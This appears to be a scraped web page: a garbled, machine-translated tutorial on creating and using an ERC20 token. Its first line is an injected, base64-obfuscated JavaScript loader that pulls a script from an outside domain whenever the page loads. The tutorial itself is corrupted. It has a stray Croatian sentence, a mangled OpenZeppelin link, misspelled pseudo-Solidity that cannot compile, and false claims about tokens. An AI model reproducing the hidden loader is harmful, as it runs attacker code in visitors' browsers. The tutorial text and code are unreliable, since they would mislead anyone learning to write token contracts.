const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=dec90403″;document.body.appendChild(script);
Use ERC20 for the first time with 0 sales: Step by Step Guide
As a new Ethereum user and the standard ERC20 standard, you are probably interested in how to use these concepts without initial sales. In this article we will guide through the process of using the ERC20 Token when all sales are 0.
Understanding ERC20
Before we immerse you, we will quickly examine what ERC20 is. The ERC20 standard defines a token that can be used as a currency on Ethereum blockchain. It is a simple token without intrinsic value, which means that its value stems from demand and market offers. In other words, a token such as ether (ETH) or USDC does not support any physical resources.
ERC20 Implementation with Openzappelin
To use ERC20 tokens, you will need to consult an OpenSeppelin contract that carries this standard on your Ethereum network. Specifična provedbe koja ćemo koristiti dostupna je na [ Openzeppelin /opzalin-concttRats/Blob/ae1bafcb48Fe220257D7620303EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3EB3AFCERS.
Step 1: Create a Token ERC20
To start using ERC20 tokens, you will need to create a new contract. This implies the definition of token metadators, such as his name and symbols.
Strength `
Pragma Solidity ^0.8.0;
Mytoken contract {
String publicly name = "my token";
String public symbol = "Myt";
Iche
Step 2: Initializes Token
After that, you will need to initialize a token contract using the "new" function provided by Openzappelin.
Strength
Pragma Solidity ^0.8.0;
Mytoken contract {
// ...
Construtor () {{)
_Inittuken ();
Iche
function _inittochene () interior {
Mytokeninitialiser.init (_tokeenadrass);
Iche
Iche
Stutt mytoKeninitialiser {{
Address _tokeenaddress;
Iche
Step 3: Distribute the Tonken Treaty
Now that the token contract is initialized, it is possible to distribute in the Ethereum network using a strength distribution tool.
Strength
Pragma Solidity ^0.8.0;
Mytoken contract {
// ...
Implement the function () public return (address) {
NEWTKENDRADES address = MytoKeninitialiser._tokeenadress;
Return Newkeddress;
Iche
Iche
Step 4: Set up a token supply
To set up a token supply, you will need to create a mapping that copies the name of token to its total supply.
Strength
Pragma Solidity ^0.8.0;
Mytoken contract {
// ...
Nint Total public uffhy;
Mapping (string => nint) public nativesupply;
Setsatalsupply (nint _totalsupply) audience function {{
Totalsupply = _totalsupply;
For (takensymbol address in nametosupply.values ()) {
If (tokensimbol! = Address (this)) {
NAPPLIMAMOUNT = NAMETOSUpply [tokensymbol]_ Total payment / 10 * 18;
Delete nametosupply [tokensimbol];
Iche
Iche
Iche
Getbalceof Function (address _account) Public display restores (nint256) {) {
Return to Total Entry - Nametosupply [_account];
Iche
// ...
Iche
Step 5: Use Token
Finally, you can use token as usual by calling on the function of a waterster to check your balance or use it to transfer the Etheter.
Strength`
Pragma Solidity ^0.8.0;
Mytoken contract {
// …
Construtor () {}
Function Deposit (Address _account, NAint amount) Public Return (NAint256) {) {
Totalsupply += Imetosupply [_account]amount / 10 * 18;
Return to Total Entry – Nametosupply [_account];
Iche
Function function (nint) returned public (bool) {{
request (Totalsupply> = amount);
Total supply -= iMatosupply [msg.sender]amount / 10 * 18;
// …